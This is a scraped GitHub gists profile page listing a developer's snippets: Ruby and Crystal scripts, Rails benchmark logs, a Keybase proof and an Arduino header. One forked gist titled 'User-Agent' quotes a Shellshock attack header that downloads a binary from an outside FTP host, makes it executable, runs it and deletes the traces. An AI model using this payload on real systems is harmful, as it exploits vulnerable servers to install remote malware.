Skip to content

Instantly share code, notes, and snippets.

View robacarp's full-sized avatar
🐢
Bacon//Pickle

Rob robacarp

🐢
Bacon//Pickle
View GitHub Profile
require "pg"
require "migrate"
require "../config/application"
command = ARGV[0]?
case command
when "migrate"
MigrationRunner.new.migrate
when "rollback"
#!/usr/bin/env bash
set -e
cd amber
make install
cd ..
hr() {
text=${1:-}
@robacarp
robacarp / aa_rails_logs.txt
Last active February 9, 2018 20:28
Undoctored logs for Rails vs Amber speed comparison
Started GET "/bookmarks" for 127.0.0.1 at 2018-01-11 10:48:37 -0700
Processing by BookmarksController#index as HTML
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" = $1 LIMIT $2 [["id", 1], ["LIMIT", 1]]
Rendering bookmarks/index.html.haml within layouts/application
Rendered bookmarks/_navbar.html.haml (3.7ms)
Bookmark Exists (0.4ms) SELECT 1 AS one FROM "bookmarks" LIMIT $1 OFFSET $2 [["LIMIT", 1], ["OFFSET", 0]]
Bookmark Load (0.4ms) SELECT "bookmarks".* FROM "bookmarks" ORDER BY "bookmarks"."created_at" ASC LIMIT $1 OFFSET $2 [["LIMIT", 25], ["OFFSET", 0]]
Webpage Load (0.4ms) SELECT "webpages".* FROM "webpages" WHERE "webpages"."id" IN ($1, $2, $3, $4, $5, $6) [["id", 1], ["id", 4], ["id", 5], ["id", 6], ["id", 7], ["id", 8]]
Tag Load (6.6ms) SELECT "tags".* FROM "tags" INNER JOIN "bookmarks_tags" ON "tags"."id" = "bookmarks_tags"."tag_id" WHERE "bookmarks_tags"."bookmark_id" = $1 [["bookmark_id", 5]]
Rendered bookmarks/_bookmark_list_item.html.haml (49.5ms)

Keybase proof

I hereby claim:

  • I am robacarp on github.
  • I am robacarp (https://keybase.io/robacarp) on keybase.
  • I have a public key ASAW13IwdtxWWOB4IS_hN0kYdVQVFP7PrS67uKnJC4Cshwo

To claim this, I am signing this object:

# require 'byebug'
puts "ruby -v is #{RUBY_VERSION} but should be '2.2.2'" unless RUBY_VERSION == '2.2.2'
class Hash
def symbolize_keys
dup = self.class.new
each_key do |key|
dup[ key.to_sym ] = self[key]
end
@robacarp
robacarp / User-Agent
Created August 10, 2016 19:52 — forked from jschwietert/User-Agent
A nice little User-Agent header script I found...
() { :;};
/bin/bash -c \x22mkdir /var/.udp;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
curl -o /var/.udp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg;
lwp-download ftp://ftp.ugotownedz.org/Xorg;
chmod +x /var/.udp/Xorg;
chmod +x Xorg;
perl /var/.udp/Xorg;
rm -rf /var/.udp/Xorg*;
@robacarp
robacarp / broken_ruby_splat.rb
Last active January 29, 2016 18:52
Ruby splat in 2.2.2 is broken
# require 'byebug'
puts "ruby -v is #{RUBY_VERSION} but should be '2.2.2'" unless RUBY_VERSION == '2.2.2'
class Hash
def symbolize_keys
dup = self.class.new
each_key do |key|
dup[ key.to_sym ] = self[key]
end
@robacarp
robacarp / deep_thought.rb
Last active February 15, 2018 20:18
Testing ruby mutexs across threads and forks
# Deep Thought is a computer that was created by the pan-dimensional,
# hyper-intelligent species of beings (whose three-dimensional
# protrusions into our universe are ordinary white mice) to come up
# with the Answer to The Ultimate Question of Life, the Universe,
# and Everything. Deep Thought is the size of a small city.
class Worker
MUTEX = Mutex.new
@@mutex = Mutex.new
#include "tones.h"
#define b(v)
// Serial.println( v ? "true" : "false" );
#define p(a)
// Serial.print(a);
#define q(a,b)
// Serial.print(a,b);
boolean tests_pass = true;
# Generated with some ruby, some vim love, and some manual hackery:
# #!/bin/env ruby
# require 'mechanize'
# page = Mechanize.new.get('http://httpstatus.es')
# codes = body.search('.status').map do |s|
# {
# code: s.search('a').text.to_i,
# name: s.search('a').first['title'],
# description: s.search('.description').text
# }